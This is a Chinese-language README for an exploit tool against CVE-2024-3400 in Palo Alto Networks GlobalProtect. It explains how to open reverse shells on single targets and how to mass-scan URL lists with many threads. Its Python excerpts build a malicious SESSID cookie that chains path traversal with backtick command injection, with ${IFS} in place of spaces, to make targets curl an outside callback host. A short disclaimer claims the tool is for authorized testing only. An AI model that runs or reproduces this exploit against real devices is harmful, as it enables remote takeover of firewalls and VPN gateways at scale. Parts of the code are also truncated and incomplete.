CVE-2024-3400 Exploit Tool
专业级 Palo Alto Networks 安全测试框架 - 针对 CVE-2024-3400 远程代码执行漏洞的检测与利用工具
功能特性
- 单目标精准测试 - 对指定设备进行定向漏洞验证,支持反弹 Shell 连接
- 批量安全扫描 - 从文件中读取多个目标 URL,高效识别存在漏洞的设备
- 多线程并发 - 可配置线程数,大幅提升批量扫描效率
- 实时进度显示 - 集成
alive_progress进度条,直观展示扫描进度 - 彩色控制台输出 - 使用
rich库实现分级彩色日志(成功/错误/警告/信息) - 灵活载荷定制 - 支持自定义 OOB(Out-Of-Band)回调地址,用于漏洞验证
安装指南
系统要求
- Python 3.6+
- 网络访问目标设备权限
依赖安装
pip install requests rich alive_progress
克隆仓库
git clone https://github.com/Chocapikk/CVE-2024-3400
cd CVE-2024-3400
使用说明
1. 单目标利用模式(反弹 Shell)
python exploit.py -u https://target.com -lh 192.168.1.100 -lp 4444 -bp 4445
参数说明:
-u, --url: 目标设备 URL-lh, --lhost: 本地监听 IP 地址-lp, --lport: 本地监听端口-bp, --bindport: (可选)绑定端口,用于 ngrok 等场景
2. 批量扫描模式(漏洞检测)
python exploit.py -f urls.txt -t 50 -o vulnerable.txt
参数说明:
-f, --file: 包含目标 URL 列表的文件(每行一个)-t, --threads: 并发线程数(默认:50)-o, --output: 输出存在漏洞的 URL 到指定文件
3. OOB 验证模式
python exploit.py -f urls.txt -o https://your-interactsh-server.com -t 30
参数说明:
-o, --oob: Interactsh 或其他 OOB 回调地址,用于无回显漏洞验证
核心代码
漏洞利用核心类 PaloAltoSkids
import uuid
import base64
import socket
import argparse
import requests
import threading
from rich.console import Console
from typing import List, Optional
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed
class PaloAltoSkids:
"""
CVE-2024-3400 漏洞测试类
针对 Palo Alto Networks 设备的远程代码执行漏洞检测
"""
def __init__(
self,
urls: List[str],
lhost: str,
lport: int,
bindport: Optional[int],
num_threads: int,
verbose: bool,
):
self.urls = urls
self.lhost = lhost
self.lport = lport
self.bindport = bindport or lport
self.num_threads = num_threads
self.verbose = verbose
self.console = Console()
requests.packages.urllib3.disable_warnings()
def custom_print(self, message: str, header: str) -> None:
"""彩色控制台输出,根据消息类型使用不同颜色"""
header_colors = {
"+": "green", # 成功
"-": "red", # 错误
"!": "yellow", # 警告
"*": "blue", # 信息
}
self.console.print(
f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
)
@staticmethod
def generate_file_name() -> str:
"""生成随机 UUID 作为文件名"""
return f"{uuid.uuid4()}.txt"
def send_post_request(self, base_url: str, file_name: str) -> Optional[Response]:
"""通过目录遍历漏洞发送恶意 POST 请求"""
post_url = f"{base_url}/ssl-vpn/hipreport.esp"
cookies = {
"SESSID": f"/../../../var/appweb/sslvpndocs/global-protect/portal/images/{file_name}"
}
# 后续请求逻辑...
批量扫描执行器
def execute_exploit(self) -> None:
"""多线程执行漏洞检测"""
with ThreadPoolExecutor(max_workers=self.num_threads) as executor:
futures = {
executor.submit(self.send_exploit_request, url): url
for url in self.urls
}
with alive_bar(len(self.urls), enrich_print=False) as bar:
for future in as_completed(futures):
try:
result = future.result()
except Exception as e:
self.custom_print(f"处理 URL 时出错: {e}", "-")
finally:
bar()
恶意载荷构造
def send_exploit_request(self, base_url: str) -> None:
"""构造并发送包含命令执行的恶意请求"""
command = f"curl {self.oob}"
malicious_cookie = f"/../../../../opt/panlogs/tmp/device_telemetry/minute/test`{command}`".replace(
" ", "${IFS}"
)
cookies = {"SESSID": malicious_cookie}
try:
response = requests.post(
f"{base_url}/ssl-vpn/hipreport.esp",
cookies=cookies,
timeout=10,
verify=False,
)
if response.status_code == 200:
self.custom_print("请求成功", "+")
except requests.exceptions.RequestException as e:
pass
注意事项
⚠️ 重要提醒 - 本工具仅用于授权安全测试。未经授权的漏洞测试可能违反法律法规。使用前请确保:
- 已获得目标系统所有者的书面授权
- 仅在测试环境或自有设备上进行验证
- 遵守当地法律法规和负责任的漏洞披露原则 6HFtX5dABrKlqXeO5PUv/5LOBv9Gti8RwfDlEKrn0sc=